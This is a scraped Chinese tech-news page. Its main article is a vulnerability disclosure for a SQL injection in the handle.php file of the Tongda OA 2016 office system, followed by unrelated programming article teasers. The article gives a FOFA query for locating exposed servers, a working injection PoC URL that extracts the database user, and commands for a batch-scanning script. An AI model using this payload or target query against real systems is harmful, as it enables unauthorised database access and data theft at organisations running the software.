当前位置： 首页 > news >正文

通达OA 2016网络智能办公系统 handle.php SQL注入漏洞

news 2026/4/4 22:51:57

一、漏洞描述

北京通达信科科技有限公司通达OA2016网络智能办公系统 handle.php 存在sql注入漏洞，攻击者可利用此漏洞获取数据库管理员权限，查询数据、获取系统信息，威胁企业单位数据安全。

二、网络空间搜索引擎查询

fofa查询

app="TDXK-通达OA" && body="2016"

三、漏洞复现

poc

/share/handle.php?_GET[module]=1%27+and+1={`=%27`+1}+and+1=0+union+select+(select/**/user())--+%27

浏览器直接访问

四、批量检测

单个检测

 python .\TdOA2016.py -u  http://ip:port

批量检测

 python .\TdOA2016.py -u filename

微信公众号关注 网络安全透视镜 回复 20231016 获取批量检测脚本

相关文章：

通达OA 2016网络智能办公系统 handle.php SQL注入漏洞

一、漏洞描述 北京通达信科科技有限公司通达OA2016网络智能办公系统 handle.php 存在sql注入漏洞，攻击者可利用此漏洞获取数据库管理员权限，查询数据、获取系统信息，威胁企业单位数据安全。 二、网络空间搜索引擎查询 fofa查询 app"T…...

编程日记 2023/10/18 1:45:59

parameter的各种用法以及localparam的用法

parameter的各种用法以及localparam的用法 一、这种写法放在v文件或者是用来调用其他的ram文件都是正确的。 一、这种写法放在v文件或者是用来调用其他的ram文件都是正确的。 module para_local();parameter a 10; // 第一种用法 parameter a 4d10; // 第二种用法 para…...

编程日记 2023/10/18 1:44:57

网络社区挖掘-图论部分的基本知识笔记

1 网络社区挖掘定义 网络社区挖掘是指利用数据挖掘技术和机器学习算法，分析社交网络、在线社区或互联网上的各种交互数据，以揭示其中隐藏的模式、关系和信息。这些社区可以是社交媒体平台、在线论坛、博客、微博等，人们在这些平台上进行交流…...

编程日记 2023/10/18 1:43:56

Vue Router - 路由的使用、两种切换方式、两种传参方式、嵌套方式

目录 一、Vue Router 1.1、下载 1.2、基本使用 a）引入 vue-router.js（注意：要在 Vue.js 之后引入）. b）创建好路由规则 c）注册到 Vue 实例中 d）展示路由组件 1.3、切换路由的两种方式 1.…...

编程日记 2023/10/18 1:42:54

mysql为什么会选错索引,以及优化器是如何选择索引的

一：概念 在 索引建立之后，一条语句可能会命中多个索引，这时，索引的选择，就会交由 优化器 来选择合适的索引。 优化器选择索引的目的，是找到一个最优的执行方案，并用最小的代价去执行语句。 二…...

编程日记 2023/10/18 1:41:53

vue基础知识十七：你知道vue中key的原理吗？说说你对它的理解

一、Key是什么 开始之前&#xff0c;我们先还原两个实际工作场景 1.当我们在使用v-for时&#xff0c;需要给单元加上key <ul><li v-for"item in items" :key"item.id">...</li> </ul>2.用new Date()生成的时间戳作为key&#x…...

编程日记 2023/10/18 1:40:52

攻防演练蓝队|Windows应急响应入侵排查

文章目录 日志分析web日志windows系统日志 文件排查进程排查新增、隐藏账号排查启动项/服务/计划任务排查工具 日志分析 web日志 dirpro扫描目录&#xff0c;sqlmap扫描dvwa Python dirpro -u http://192.168.52.129 -b sqlmap -u "http://192.168.52.129/dvwa/vulnera…...

编程日记 2023/10/18 1:38:49

uniapp 小程序实现图片宽度100%、高度自适应的效果

因为image组件默认是有宽度跟高度的&#xff0c;所以这个高度不怎么好写 通过load事件来控制图片的高度 话不多说&#xff0c;直接上代码&#xff0c; <image class"img" src"/static/image.png" :style"{ height: imgHeight px }"mode&q…...

编程日记 2023/10/18 1:37:48

05. NXP官方SDK使用实验

05. NXP官方SDK使用实验 官方SDK移植 官方SDK移植 新建cc.h文件 SDK包里面会用到很多数据类型&#xff0c;所以需要在该文件中定义一些常用的数据类型 #pragma once #define __I volatile #define __O volatile #define __IO volatiletypedef sig…...

编程日记 2023/10/18 1:36:48

Python- JSON使用初探

JSON 在JSON格式中&#xff0c;{} 和 [] 是两种主要的数据结构&#xff0c;分别表示对象&#xff08;或称为字典、哈希、map&#xff09;和数组&#xff08;或称为列表、序列&#xff09;。 {} - 对象 在JSON中&#xff0c;对象是一组"key": value对的集合。这些键必…...

编程日记 2023/10/18 1:35:46

vim的配置文件

用户级别配置文件 ~/.vimrc 修改用户级别的配置文件只会影响当前用户, 不会影响其他的用户. 例如: 在用户的家目录下的.vimrc文件中添加 set tabstop4 ----设置缩进4个空格 set nu ----设置行号 set shiftwidth4 —设置ggG缩进4个空格, 默认是缩进8个空格 系统级别配置文件 /e…...

编程日记 2023/10/18 1:34:45

[python] pytest

在写一个项目前, 可以先编写测试模块 测试模块中包含了一个个最小的功能 当每一个功能都完善正确时 再将这些功能转换成项目运行的功能 多个项目运行的功能就组成了一个模块 多个模块就组成了一个项目服务 pytest 是一个 Python 测试框架&#xff0c;它提供了简单易用的语…...

编程日记 2023/10/18 1:33:44

【王道代码】【2.2顺序表】d1

关键字&#xff1a; 删除最小值最后位补齐&#xff1b;逆置&#xff1b;删除所有x&#xff1b;删除值为s到t区间的元素...

编程日记 2023/10/18 1:32:43

【Linux】【创建文件】Linux系统下在命令行中创建文件的方法

&#x1f41a;作者简介&#xff1a;花神庙码农&#xff08;专注于Linux、WLAN、TCP/IP、Python等技术方向&#xff09;&#x1f433;博客主页&#xff1a;花神庙码农 &#xff0c;地址&#xff1a;https://blog.csdn.net/qxhgd&#x1f310;系列专栏&#xff1a;Linux技术&…...

编程日记 2023/10/18 1:31:42

Pytorch之MobileViT图像分类

文章目录 前言一、Transformer存在的问题二、MobileViT1.MobileViT网络结构&#x1f353; Vision Transformer结构&#x1f349;MobileViT结构 2.MV2(MobileNet v2 block)3.MobileViT block&#x1f947;Local representations&#x1f948;Transformers as Convolutions (glob…...

编程日记 2023/10/18 1:30:41

03在命令行环境中创建Maven版的Java工程,了解pom.xml文件的结构,了解Java工程的目录结构并编写代码,执行Maven相关的构建命令

创建Maven版的Java工程 Maven工程的坐标 数学中使用x、y、z三个向量可以在空间中唯一的定位一个点, Maven中也可以使用groupId,artifactId,version三个向量在Maven的仓库中唯一的定位到一个jar包 groupId: 公司或组织域名的倒序, 通常也会加上项目名称代表公司或组织开发的一…...

编程日记 2023/10/18 1:29:40

论文阅读：CenterFormer: Center-based Transformer for 3D Object Detection

目录 概要 Motivation 整体架构流程 技术细节 Multi-scale Center Proposal Network Multi-scale Center Transformer Decoder Multi-frame CenterFormer 小结 论文地址&#xff1a;[2209.05588] CenterFormer: Center-based Transformer for 3D Object Detection (arx…...

编程日记 2023/10/18 1:28:37

Arduino驱动BNO055九轴绝对定向传感器（惯性测量传感器篇）

目录 1、传感器特性 2、硬件原理图 3、控制器和传感器连线图 4、驱动程序 BNO055是实现智能9轴绝对定向的新型传感器IC，它将整个传感器系统级封装在一起，集成了三轴14位加速度计，三轴16位陀螺仪，三轴地磁传感器和一个自带算法处理的32位微控制器。...

编程日记 2023/10/18 1:27:35

MQTT测试工具及使用教程

一步一步来&#xff1a;MQTT服务器搭建、MQTT客户端使用-CSDN博客 MQTT X 使用指南_mqttx使用教程-CSDN博客...

编程日记 2023/10/18 1:26:34

yolov7改进优化之蒸馏（一）

最近比较忙&#xff0c;有一段时间没更新了&#xff0c;最近yolov7用的比较多&#xff0c;总结一下。上一篇yolov5及yolov7实战之剪枝_CodingInCV的博客-CSDN博客 我们讲了通过剪枝来裁剪我们的模型&#xff0c;达到在精度损失不大的情况下&#xff0c;提高模型速度的目的。上一…...

编程日记 2023/10/18 1:25:33

DDPM实战：从零构建图像生成模型

1. DDPM基础概念与核心原理 扩散模型&#xff08;Denoising Diffusion Probabilistic Models&#xff0c;简称DDPM&#xff09;是近年来计算机视觉领域的一项突破性技术。我第一次接触这个概念时&#xff0c;被它优雅的数学推导和惊人的生成效果所震撼。简单来说&#xff0c;D…...

编程新知 2026/4/4 21:53:51

避坑指南：在昇腾Atlas服务器部署FunASR说话人分离模型时，如何解决Torch_npu版本冲突和依赖问题

昇腾Atlas服务器部署FunASR说话人分离模型的实战避坑手册 当你在昇腾Atlas服务器上第一次尝试部署FunASR说话人分离模型时&#xff0c;可能会遇到各种意想不到的问题。从Torch_npu版本冲突到CANN兼容性问题&#xff0c;再到量化配置的坑&#xff0c;每一步都可能让你陷入调试的…...

编程新知 2026/4/4 21:51:51

Redis专题（二）

1. Redis的简介Redis支持多种数据结构&#xff0c;有广泛的业务应用场景。数据保存在内存&#xff0c;读写性能高&#xff0c;很适合做缓存。数据可以持久化到硬盘&#xff0c;可以做数据库来用。官⽅对Redis的作⽤&#xff0c;也已经定位成了三个⽅⾯&#xff1a;Cache(缓存)&…...

编程新知 2026/4/4 21:23:46

【最新最权威】ArcGIS ArcMap中添加在线地图-天地图（地形、矢量、影像、全球境界）的方法

1 图源介绍地理信息公共服务平台&#xff08;天地图&#xff09;是县级以上自然资源主管部门向社会提供各类在线地理信息公共服务、推动地理信息数据开放共享的政府网站&#xff0c;由国家级节点、省级&#xff08;兵团&#xff09;节点、市县级节点组成。在底图服务方面&#…...

编程新知 2026/4/4 20:53:34

实战演练，在快马平台用openclaw命令构建日志分析监控系统

今天想和大家分享一个很实用的技术实践——如何在InsCode(快马)平台上快速搭建一个日志分析监控系统。这个系统主要利用了openclaw命令的强大功能&#xff0c;能够帮助我们高效处理服务器日志数据。 系统整体设计思路 这个日志分析系统主要包含三个核心部分&#xff1a;日志展…...

编程新知 2026/4/4 19:14:31

PlayCover：重新定义Apple Silicon Mac的iOS应用运行体验

PlayCover&#xff1a;重新定义Apple Silicon Mac的iOS应用运行体验 【免费下载链接】PlayCover Community fork of PlayCover 项目地址: https://gitcode.com/gh_mirrors/pl/PlayCover 价值定位&#xff1a;突破生态壁垒的三大核心创新 如何打破苹果生态系统的应用边界…...

编程新知 2026/4/4 19:02:29

基于vue3与pinia构建电商核心模块，快马平台实战演练购物车与商品列表

基于vue3与pinia构建电商核心模块&#xff0c;快马平台实战演练购物车与商品列表 最近在做一个电商项目&#xff0c;需要快速搭建商品展示和购物车功能。经过一番调研&#xff0c;我选择了Vue3 Pinia的组合&#xff0c;配合Vue Router实现页面跳转。整个过程在InsCode(快马)平…...

编程新知 2026/4/4 18:40:18

PlantUML在线编辑器进阶实战：高效绘制技术文档的终极解决方案

PlantUML在线编辑器进阶实战&#xff1a;高效绘制技术文档的终极解决方案 【免费下载链接】plantuml-editor PlantUML online demo client 项目地址: https://gitcode.com/gh_mirrors/pl/plantuml-editor 在软件开发和系统设计领域&#xff0c;UML&#xff08;统一建模语…...

编程新知 2026/4/4 17:27:36

告别Keil和IAR？试试这款专为RISC-V打造的免费IDE：MounRiver Studio深度体验

从Keil/IAR到MounRiver Studio&#xff1a;RISC-V开发者的IDE迁移实战指南 当ARM架构的STM32开发者首次接触RISC-V平台时&#xff0c;往往会面临一个灵魂拷问&#xff1a;能否延续Keil或IAR那套熟悉的开发流程&#xff1f;事实上&#xff0c;专为RISC-V打造的MounRiver Studio正…...

编程新知 2026/4/4 17:21:13

TranslucentTB任务栏透明化故障全解决方案：从诊断到长效维护

TranslucentTB任务栏透明化故障全解决方案&#xff1a;从诊断到长效维护 【免费下载链接】TranslucentTB A lightweight utility that makes the Windows taskbar translucent/transparent. 项目地址: https://gitcode.com/gh_mirrors/tr/TranslucentTB TranslucentTB作…...

编程新知 2026/4/4 17:05:03